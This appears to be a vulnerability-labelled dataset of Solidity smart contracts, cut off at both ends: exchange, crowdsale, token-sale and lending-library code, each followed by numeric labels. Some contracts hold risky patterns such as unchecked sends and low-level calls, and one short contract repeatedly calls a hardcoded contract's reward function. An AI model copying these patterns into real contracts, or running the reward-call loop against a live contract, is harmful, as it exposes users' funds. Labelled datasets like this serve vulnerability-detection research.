Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint _amount) {
require(tokens[0][msg.sender] >= _amount);
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], _amount);
if (!msg.sender.call.value(_amount)()) {
revert();
}
Withdraw(0, msg.sender, _amount, tokens[0][msg.sender]);
}
function depositToken(address _token, uint _amount) deprecable {
require(_token != 0);
if (!Token(_token).transferFrom(msg.sender, this, _amount)) {
revert();
}
tokens[_token][msg.sender] = safeAdd(tokens[_token][msg.sender], _amount);
Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function withdrawToken(address _token, uint _amount) {
require(_token != 0);
require(tokens[_token][msg.sender] >= _amount);
tokens[_token][msg.sender] = safeSub(tokens[_token][msg.sender], _amount);
if (!Token(_token).transfer(msg.sender, _amount)) {
revert();
}
Withdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function balanceOf(address _token, address _user) constant returns (uint) {
return tokens[_token][_user];
}
function trade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
uint _expires, uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
if (ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) != _user ||
block.number > _expires ||
safeAdd(orderFills[_user][hash], _amount) > _amountGet) {
revert();
}
tradeBalances(_tokenGet, _amountGet, _tokenGive, _amountGive, _user, msg.sender, _amount);
orderFills[_user][hash] = safeAdd(orderFills[_user][hash], _amount);
Trade(_tokenGet, _amount, _tokenGive, _amountGive * _amount / _amountGet, _user, msg.sender, _nonce);
}
function tradeBalances(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
address _user, address _caller, uint _amount) private {
uint feeTakeValue = safeMul(_amount, fee) / (1 ether);
uint rebateValue = 0;
uint tokenGiveValue = safeMul(_amountGive, _amount) / _amountGet;
if (accountModifiers != address(0)) {
var (feeTakeDiscount, rebatePercentage) = AccountModifiersInterface(accountModifiers).tradeModifiers(_user, _caller);
if (feeTakeDiscount > 100) {
feeTakeDiscount = 0;
}
if (rebatePercentage > 100) {
rebatePercentage = 0;
}
feeTakeValue = safeMul(feeTakeValue, 100 - feeTakeDiscount) / 100;
rebateValue = safeMul(rebatePercentage, feeTakeValue) / 100;
}
tokens[_tokenGet][_user] = safeAdd(tokens[_tokenGet][_user], safeAdd(_amount, rebateValue));
tokens[_tokenGet][_caller] = safeSub(tokens[_tokenGet][_caller], safeAdd(_amount, feeTakeValue));
tokens[_tokenGive][_user] = safeSub(tokens[_tokenGive][_user], tokenGiveValue);
tokens[_tokenGive][_caller] = safeAdd(tokens[_tokenGive][_caller], tokenGiveValue);
tokens[_tokenGet][feeAccount] = safeAdd(tokens[_tokenGet][feeAccount], safeSub(feeTakeValue, rebateValue));
if (tradeTracker != address(0)) {
TradeTrackerInterface(tradeTracker).tradeComplete(_tokenGet, _amount, _tokenGive, tokenGiveValue, _user, _caller, feeTakeValue, rebateValue);
}
}
function testTrade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount, address _sender) constant returns(bool) {
if (tokens[_tokenGet][_sender] < _amount ||
availableVolume(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _user, _v, _r, _s) < _amount) {
return false;
}
return true;
}
function availableVolume(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s) constant returns(uint) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
if (ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) != _user ||
block.number > _expires) {
return 0;
}
uint available1 = safeSub(_amountGet, orderFills[_user][hash]);
uint available2 = safeMul(tokens[_tokenGive][_user], _amountGet) / _amountGive;
if (available1 < available2) return available1;
return available2;
}
function amountFilled(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, address _user) constant returns(uint) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
return orderFills[_user][hash];
}
function cancelOrder(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
if (!(ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) == msg.sender)) {
revert();
}
orderFills[msg.sender][hash] = _amountGet;
Cancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, msg.sender, _v, _r, _s);
}
function migrateFunds(address[] _tokens) {
require(successor != address(0));
TokenStore newExchange = TokenStore(successor);
for (uint16 n = 0; n < 20; n++) {
address nextSuccessor = newExchange.successor();
if (nextSuccessor == address(this)) {
revert();
}
if (nextSuccessor == address(0)) {
break;
}
newExchange = TokenStore(nextSuccessor);
}
uint etherAmount = tokens[0][msg.sender];
if (etherAmount > 0) {
tokens[0][msg.sender] = 0;
newExchange.depositForUser.value(etherAmount)(msg.sender);
}
for (n = 0; n < _tokens.length; n++) {
address token = _tokens[n];
require(token != address(0));
uint tokenAmount = tokens[token][msg.sender];
if (tokenAmount == 0) {
continue;
}
if (!Token(token).approve(newExchange, tokenAmount)) {
revert();
}
tokens[token][msg.sender] = 0;
newExchange.depositTokenForUser(token, tokenAmount, msg.sender);
}
FundsMigrated(msg.sender);
}
function depositForUser(address _user) payable deprecable {
require(_user != address(0));
require(msg.value > 0);
TokenStore caller = TokenStore(msg.sender);
require(caller.version() > 0);
tokens[0][_user] = safeAdd(tokens[0][_user], msg.value);
}
function depositTokenForUser(address _token, uint _amount, address _user) deprecable {
require(_token != address(0));
require(_user != address(0));
require(_amount > 0);
TokenStore caller = TokenStore(msg.sender);
require(caller.version() > 0);
if (!Token(_token).transferFrom(msg.sender, this, _amount)) {
revert();
}
tokens[_token][_user] = safeAdd(tokens[_token][_user], _amount);
}
}
contract InstantTrade is SafeMath, Ownable {
function() payable {
}
function instantTrade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
uint _expires, uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount, address _store) payable {
uint totalValue = safeMul(_amount, 1004) / 1000;
if (_tokenGet == address(0)) {
if (msg.value != totalValue) {
revert();
}
TokenStore(_store).deposit.value(totalValue)();
} else {
if (!Token(_tokenGet).transferFrom(msg.sender, this, totalValue)) {
revert();
}
if (!Token(_tokenGet).approve(_store, totalValue)) {
revert();
}
TokenStore(_store).depositToken(_tokenGet, totalValue);
}
TokenStore(_store).trade(_tokenGet, _amountGet, _tokenGive, _amountGive,
_expires, _nonce, _user, _v, _r, _s, _amount);
totalValue = TokenStore(_store).balanceOf(_tokenGive, this);
uint customerValue = safeMul(_amountGive, _amount) / _amountGet;
if (_tokenGive == address(0)) {
TokenStore(_store).withdraw(totalValue);
msg.sender.transfer(customerValue);
} else {
TokenStore(_store).withdrawToken(_tokenGive, totalValue);
if (!Token(_tokenGive).transfer(msg.sender, customerValue)) {
revert();
}
}
}
function withdrawFees(address _token) onlyOwner {
if (_token == address(0)) {
msg.sender.transfer(this.balance);
} else {
uint amount = Token(_token).balanceOf(this);
if (!Token(_token).transfer(msg.sender, amount)) {
revert();
}
}
}
} | 1 | 5,513 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint finneyCostOfEachToken,
address addressOfTokenUsedAsReward) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = finneyCostOfEachToken * 1 finney;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
beneficiary.send(amount);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal) {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 2,234 |
pragma solidity ^0.4.16;
contract RealOldFuckMaker {
address fuck = 0xc63e7b1DEcE63A77eD7E4Aeef5efb3b05C81438D;
function makeOldFucks(uint32 number) {
uint32 i;
for (i = 0; i < number; i++) {
fuck.call(bytes4(sha3("giveBlockReward()")));
}
}
} | 0 | 963 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract MinimalTokenInterface {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function decimals() public returns (uint8);
}
contract SNcoin_CountrySale is Owned {
MinimalTokenInterface public tokenContract;
address public spenderAddress;
address public vaultAddress;
address public ambassadorAddress;
bool public fundingEnabled;
uint public totalCollected;
uint public tokenPrice;
string public country;
constructor(address _tokenAddress, address _spenderAddress, address _vaultAddress, address _ambassadorAddress, bool _fundingEnabled, uint _newTokenPrice, string _country) public {
require (_tokenAddress != 0);
require (_spenderAddress != 0);
require (_vaultAddress != 0);
require (_newTokenPrice > 0);
require (bytes(_country).length > 0);
tokenContract = MinimalTokenInterface(_tokenAddress);
spenderAddress = _spenderAddress;
vaultAddress = _vaultAddress;
ambassadorAddress = _ambassadorAddress;
fundingEnabled = _fundingEnabled;
tokenPrice = _newTokenPrice;
country = _country;
}
function setSpenderAddress(address _spenderAddress) public onlyOwner {
require (_spenderAddress != 0);
spenderAddress = _spenderAddress;
return;
}
function setVaultAddress(address _vaultAddress) public onlyOwner {
require (_vaultAddress != 0);
vaultAddress = _vaultAddress;
return;
}
function setAmbassadorAddress(address _ambassadorAddress) public onlyOwner {
require (_ambassadorAddress != 0);
ambassadorAddress = _ambassadorAddress;
return;
}
function setFundingEnabled(bool _fundingEnabled) public onlyOwner {
fundingEnabled = _fundingEnabled;
return;
}
function updateTokenPrice(uint _newTokenPrice) public onlyOwner {
require(_newTokenPrice > 10**9);
tokenPrice = _newTokenPrice;
return;
}
function () public payable {
require (fundingEnabled);
require (ambassadorAddress != 0);
require (tokenPrice > 10**9);
require (msg.value >= tokenPrice);
totalCollected += msg.value;
uint ambVal = (20 * msg.value)/100;
uint tokens = (msg.value * 10**uint256(tokenContract.decimals())) / tokenPrice;
require (tokenContract.transferFrom(spenderAddress, msg.sender, tokens));
ambassadorAddress.transfer(ambVal);
vaultAddress.transfer(msg.value - ambVal);
return;
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
MinimalTokenInterface token = MinimalTokenInterface(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
} | 1 | 2,632 |
pragma solidity 0.5.7;
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Require {
uint256 constant ASCII_ZERO = 48;
uint256 constant ASCII_RELATIVE_ZERO = 87;
uint256 constant ASCII_LOWER_EX = 120;
bytes2 constant COLON = 0x3a20;
bytes2 constant COMMA = 0x2c20;
bytes2 constant LPAREN = 0x203c;
byte constant RPAREN = 0x3e;
uint256 constant FOUR_BIT_MASK = 0xf;
function that(
bool must,
bytes32 file,
bytes32 reason
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason)
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
bytes memory result = abi.encodePacked(input);
for (uint256 i = 32; i > 0; ) {
i--;
if (result[i] != 0) {
uint256 length = i + 1;
assembly {
mstore(result, length)
}
return result;
}
}
return new bytes(0);
}
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
uint256 j = input;
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
j = input;
for (uint256 i = length; i > 0; ) {
i--;
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
j /= 10;
}
return bstr;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
bytes memory result = new bytes(42);
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
for (uint256 i = 0; i < 20; i++) {
uint256 shift = i * 2;
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function char(
uint256 input
)
private
pure
returns (byte)
{
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
return byte(uint8(input + ASCII_RELATIVE_ZERO));
}
}
library Math {
using SafeMath for uint256;
bytes32 constant FILE = "Math";
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function getPartialRoundUp(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
if (target == 0 || numerator == 0) {
return SafeMath.div(0, denominator);
}
return target.mul(numerator).sub(1).div(denominator).add(1);
}
function to128(
uint256 number
)
internal
pure
returns (uint128)
{
uint128 result = uint128(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint128"
);
return result;
}
function to96(
uint256 number
)
internal
pure
returns (uint96)
{
uint96 result = uint96(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint96"
);
return result;
}
function to32(
uint256 number
)
internal
pure
returns (uint32)
{
uint32 result = uint32(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint32"
);
return result;
}
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
library Types {
using Math for uint256;
enum AssetDenomination {
Wei,
Par
}
enum AssetReference {
Delta,
Target
}
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct TotalPar {
uint128 borrow;
uint128 supply;
}
struct Par {
bool sign;
uint128 value;
}
function zeroPar()
internal
pure
returns (Par memory)
{
return Par({
sign: false,
value: 0
});
}
function sub(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
return add(a, negative(b));
}
function add(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
Par memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value).to128();
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value).to128();
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value).to128();
}
}
return result;
}
function equals(
Par memory a,
Par memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Par memory a
)
internal
pure
returns (Par memory)
{
return Par({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Par memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Par memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Par memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
struct Wei {
bool sign;
uint256 value;
}
function zeroWei()
internal
pure
returns (Wei memory)
{
return Wei({
sign: false,
value: 0
});
}
function sub(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
return add(a, negative(b));
}
function add(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
Wei memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value);
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value);
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value);
}
}
return result;
}
function equals(
Wei memory a,
Wei memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Wei memory a
)
internal
pure
returns (Wei memory)
{
return Wei({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Wei memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Wei memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Wei memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
}
library Account {
enum Status {
Normal,
Liquid,
Vapor
}
struct Info {
address owner;
uint256 number;
}
struct Storage {
mapping (uint256 => Types.Par) balances;
Status status;
}
function equals(
Info memory a,
Info memory b
)
internal
pure
returns (bool)
{
return a.owner == b.owner && a.number == b.number;
}
}
contract IAutoTrader {
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
returns (Types.AssetAmount memory);
}
contract ICallee {
function callFunction(
address sender,
Account.Info memory accountInfo,
bytes memory data
)
public;
}
library Decimal {
using SafeMath for uint256;
uint256 constant BASE = 10**18;
struct D256 {
uint256 value;
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function onePlus(
D256 memory d
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(BASE) });
}
function mul(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, d.value, BASE);
}
function div(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, BASE, d.value);
}
}
library Monetary {
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
}
library Time {
function currentTime()
internal
view
returns (uint32)
{
return Math.to32(block.timestamp);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
library Cache {
using Cache for MarketCache;
using Storage for Storage.State;
struct MarketInfo {
bool isClosing;
uint128 borrowPar;
Monetary.Price price;
}
struct MarketCache {
MarketInfo[] markets;
}
function create(
uint256 numMarkets
)
internal
pure
returns (MarketCache memory)
{
return MarketCache({
markets: new MarketInfo[](numMarkets)
});
}
function addMarket(
MarketCache memory cache,
Storage.State storage state,
uint256 marketId
)
internal
view
returns (bool)
{
if (cache.hasMarket(marketId)) {
return false;
}
cache.markets[marketId].price = state.fetchPrice(marketId);
if (state.markets[marketId].isClosing) {
cache.markets[marketId].isClosing = true;
cache.markets[marketId].borrowPar = state.getTotalPar(marketId).borrow;
}
return true;
}
function getNumMarkets(
MarketCache memory cache
)
internal
pure
returns (uint256)
{
return cache.markets.length;
}
function hasMarket(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (bool)
{
return cache.markets[marketId].price.value != 0;
}
function getIsClosing(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (bool)
{
return cache.markets[marketId].isClosing;
}
function getPrice(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (Monetary.Price memory)
{
return cache.markets[marketId].price;
}
function getBorrowPar(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (uint128)
{
return cache.markets[marketId].borrowPar;
}
}
library Interest {
using Math for uint256;
using SafeMath for uint256;
bytes32 constant FILE = "Interest";
uint64 constant BASE = 10**18;
struct Rate {
uint256 value;
}
struct Index {
uint96 borrow;
uint96 supply;
uint32 lastUpdate;
}
function calculateNewIndex(
Index memory index,
Rate memory rate,
Types.TotalPar memory totalPar,
Decimal.D256 memory earningsRate
)
internal
view
returns (Index memory)
{
(
Types.Wei memory supplyWei,
Types.Wei memory borrowWei
) = totalParToWei(totalPar, index);
uint32 currentTime = Time.currentTime();
uint256 borrowInterest = rate.value.mul(uint256(currentTime).sub(index.lastUpdate));
uint256 supplyInterest;
if (Types.isZero(supplyWei)) {
supplyInterest = 0;
} else {
supplyInterest = Decimal.mul(borrowInterest, earningsRate);
if (borrowWei.value < supplyWei.value) {
supplyInterest = Math.getPartial(supplyInterest, borrowWei.value, supplyWei.value);
}
}
assert(supplyInterest <= borrowInterest);
return Index({
borrow: Math.getPartial(index.borrow, borrowInterest, BASE).add(index.borrow).to96(),
supply: Math.getPartial(index.supply, supplyInterest, BASE).add(index.supply).to96(),
lastUpdate: currentTime
});
}
function newIndex()
internal
view
returns (Index memory)
{
return Index({
borrow: BASE,
supply: BASE,
lastUpdate: Time.currentTime()
});
}
function parToWei(
Types.Par memory input,
Index memory index
)
internal
pure
returns (Types.Wei memory)
{
uint256 inputValue = uint256(input.value);
if (input.sign) {
return Types.Wei({
sign: true,
value: inputValue.getPartial(index.supply, BASE)
});
} else {
return Types.Wei({
sign: false,
value: inputValue.getPartialRoundUp(index.borrow, BASE)
});
}
}
function weiToPar(
Types.Wei memory input,
Index memory index
)
internal
pure
returns (Types.Par memory)
{
if (input.sign) {
return Types.Par({
sign: true,
value: input.value.getPartial(BASE, index.supply).to128()
});
} else {
return Types.Par({
sign: false,
value: input.value.getPartialRoundUp(BASE, index.borrow).to128()
});
}
}
function totalParToWei(
Types.TotalPar memory totalPar,
Index memory index
)
internal
pure
returns (Types.Wei memory, Types.Wei memory)
{
Types.Par memory supplyPar = Types.Par({
sign: true,
value: totalPar.supply
});
Types.Par memory borrowPar = Types.Par({
sign: false,
value: totalPar.borrow
});
Types.Wei memory supplyWei = parToWei(supplyPar, index);
Types.Wei memory borrowWei = parToWei(borrowPar, index);
return (supplyWei, borrowWei);
}
}
interface IErc20 {
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
function name()
external
view
returns (string memory);
function symbol()
external
view
returns (string memory);
function decimals()
external
view
returns (uint8);
}
library Token {
bytes32 constant FILE = "Token";
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return IErc20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return IErc20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
IErc20(token).approve(spender, amount);
Require.that(
checkSuccess(),
FILE,
"Approve failed"
);
}
function approveMax(
address token,
address spender
)
internal
{
approve(
token,
spender,
uint256(-1)
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
if (amount == 0 || to == address(this)) {
return;
}
IErc20(token).transfer(to, amount);
Require.that(
checkSuccess(),
FILE,
"Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (amount == 0 || to == from) {
return;
}
IErc20(token).transferFrom(from, to, amount);
Require.that(
checkSuccess(),
FILE,
"TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
interface IInterestSetter {
function getInterestRate(
address token,
uint256 borrowWei,
uint256 supplyWei
)
external
view
returns (Interest.Rate memory);
}
contract IPriceOracle {
uint256 public constant ONE_DOLLAR = 10 ** 36;
function getPrice(
address token
)
public
view
returns (Monetary.Price memory);
}
library Storage {
using Cache for Cache.MarketCache;
using Storage for Storage.State;
using Math for uint256;
using Types for Types.Par;
using Types for Types.Wei;
using SafeMath for uint256;
bytes32 constant FILE = "Storage";
struct Market {
address token;
Types.TotalPar totalPar;
Interest.Index index;
IPriceOracle priceOracle;
IInterestSetter interestSetter;
Decimal.D256 marginPremium;
Decimal.D256 spreadPremium;
bool isClosing;
}
struct RiskParams {
Decimal.D256 marginRatio;
Decimal.D256 liquidationSpread;
Decimal.D256 earningsRate;
Monetary.Value minBorrowedValue;
}
struct RiskLimits {
uint64 marginRatioMax;
uint64 liquidationSpreadMax;
uint64 earningsRateMax;
uint64 marginPremiumMax;
uint64 spreadPremiumMax;
uint128 minBorrowedValueMax;
}
struct State {
uint256 numMarkets;
mapping (uint256 => Market) markets;
mapping (address => mapping (uint256 => Account.Storage)) accounts;
mapping (address => mapping (address => bool)) operators;
mapping (address => bool) globalOperators;
RiskParams riskParams;
RiskLimits riskLimits;
}
function getToken(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (address)
{
return state.markets[marketId].token;
}
function getTotalPar(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Types.TotalPar memory)
{
return state.markets[marketId].totalPar;
}
function getIndex(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Interest.Index memory)
{
return state.markets[marketId].index;
}
function getNumExcessTokens(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Types.Wei memory)
{
Interest.Index memory index = state.getIndex(marketId);
Types.TotalPar memory totalPar = state.getTotalPar(marketId);
address token = state.getToken(marketId);
Types.Wei memory balanceWei = Types.Wei({
sign: true,
value: Token.balanceOf(token, address(this))
});
(
Types.Wei memory supplyWei,
Types.Wei memory borrowWei
) = Interest.totalParToWei(totalPar, index);
return balanceWei.sub(borrowWei).sub(supplyWei);
}
function getStatus(
Storage.State storage state,
Account.Info memory account
)
internal
view
returns (Account.Status)
{
return state.accounts[account.owner][account.number].status;
}
function getPar(
Storage.State storage state,
Account.Info memory account,
uint256 marketId
)
internal
view
returns (Types.Par memory)
{
return state.accounts[account.owner][account.number].balances[marketId];
}
function getWei(
